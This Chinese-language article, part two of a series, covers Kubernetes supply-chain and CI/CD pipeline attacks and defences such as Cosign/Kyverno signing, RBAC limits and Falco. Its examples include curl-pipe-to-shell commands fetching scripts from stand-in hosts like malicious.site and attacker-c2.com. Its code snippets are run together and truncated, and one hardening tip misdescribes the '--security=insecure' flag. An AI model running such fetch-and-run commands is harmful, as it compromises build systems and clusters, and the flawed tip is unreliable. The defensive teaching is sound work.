Kubernetes 安全大揭秘：从攻击面剖析到纵深防御体系构建（下）

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在上一篇文章中，我们介绍了k8S的基础设施、控制平面风险，接下来我们继续另外的四个部分，即供应链与CI/CD攻击面、横向移动与持久化攻击、防御策略与防护工具，继续深度剖析k8s安全。

4. 供应链与CI/CD攻击面

Kubernetes的供应链与CI/CD管道是代码到集群的核心链路，其安全性直接影响业务负载的完整性。攻击者可利用这一链路的薄弱环节，实现从源码污染到集群控制的完整攻击链。本章深入解析供应链各环节的攻击手法及防御体系。

4.1 恶意容器镜像供应链攻击

容器镜像是Kubernetes应用的基础组件，其供应链的复杂性为攻击者提供了多重渗透路径。

攻击场景与深度分析

1. 公共镜像仓库投毒

仿冒官方镜像：攻击者上传与官方镜像同名但带后门的版本（如nginx:1.23.0-malicious），利用用户拉取时默认选择最新标签（latest）的特性触发感染。
依赖链劫持：篡改基础镜像（如alpine）的APK仓库配置（/etc/apk/repositories），在容器构建阶段下载恶意软件包。

2.构建过程代码注入

Dockerfile恶意指令：在Dockerfile中插入隐蔽的后门指令，如通过RUN命令下载远程脚本：

FROM ubuntu:22.04RUN curl http://malicious.site/backdoor.sh | bas

多阶段构建污染：攻击者在构建的中间阶段（如builder阶段）植入恶意代码，最终镜像中通过动态链接库（.so）或环境变量残留触发逻辑。

3. 镜像仓库中间人攻击

HTTPS证书劫持：利用自签名证书或网络中间人工具（如mitmproxy）劫持镜像拉取请求，将合法镜像替换为恶意版本。
仓库权限滥用：攻击者通过窃取的凭证（如~/.docker/config.json）向私有仓库推送带后门的业务镜像（如frontend:v1.2.0）。

防御实践

镜像来源可信验证：
- 使用Cosign对镜像进行签名，部署Kyverno策略强制校验签名：

apiVersion: kyverno.io/v1kind: ClusterPolicymetadata:  name: verify-image-signaturespec:  validationFailureAction: enforce  rules:  - name: check-signature    match:      any:      - resources:          kinds:          - Pod    verifyImages:    - image: "registry.example.com/*"      key: |-        -----BEGIN PUBLIC KEY-----        MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEH8tI5YHkuBhz3yVQvE6SP2kE7fT        ...        -----END PUBLIC KEY-----

启用Notary v2或Harbor的漏洞扫描功能，阻断未签名或含高危CVE的镜像部署。

构建环境隔离与加固：
- 使用Tekton或GitLab CI的隔离式构建环境（如Kubernetes Pod执行器），限制构建容器的网络与权限。
- 在Dockerfile中启用--security=insecure参数，禁止构建过程中加载外部资源。

4.2 CI/CD流水线劫持

CI/CD工具（如Jenkins、GitHub Actions）的配置错误可能导致凭据泄露或恶意代码注入。

攻击场景与深度分析

1. 流水线凭证泄露

环境变量暴露：在Jenkinsfile或GitHub Actions中硬编码敏感信息（如AWS_ACCESS_KEY_ID），攻击者通过打印日志或调试接口窃取。
Kubernetes Service Account绑定过宽权限：若CI/CD工具运行在Kubernetes集群中且绑定了cluster-admin角色，攻击者可利用其Service Account令牌接管集群。

2. 恶意代码注入

Pull Request触发构建：攻击者向开源项目提交恶意PR，利用自动触发的CI流程（如on: pull_request）在构建服务器上执行代码：

# GitHub Actions 恶意步骤示例- name: Exploit  run: |    curl http://attacker-c2.com/exploit.sh | bas

依赖混淆攻击：在Python的requirements.txt或Node.js的package.json中插入私有包名称（如internal-utils），攻击者提前在公共仓库注册同名包，触发恶意依赖下载。

3. 流水线工件篡改

恶意Helm Chart推送：攻击者篡改Chart的values.yaml，注入恶意initContainers或postStart钩子，部署时在集群内执行反向Shell。
Kustomize远程资源注入：利用kustomization.yaml中的resources字段加载远程配置（如https://attacker.site/malicious-config.yaml），劫持部署行为。

防御实践

最小化流水线权限：
- 为CI/CD工具分配独立的Kubernetes Service Account，限制其RBAC权限（如仅允许在特定Namespace部署）。
- 使用Vault动态管理凭据，避免在流水线中硬编码密钥。
代码审查与签名验证：
- 启用Git提交签名验证（GPG或SSH），阻断未签名的代码合并。
- 在Argo CD或Flux中启用GPG验证，确保仅部署经审核的Helm Chart或Kustomize配置。
流水线行为监控：
- 使用Tekton Chains对流水线工件（如镜像、Chart）进行签名，确保端到端可追溯性。
- 部署Falco规则检测构建容器中的异常行为（如kubectl apply -f执行未知配置）。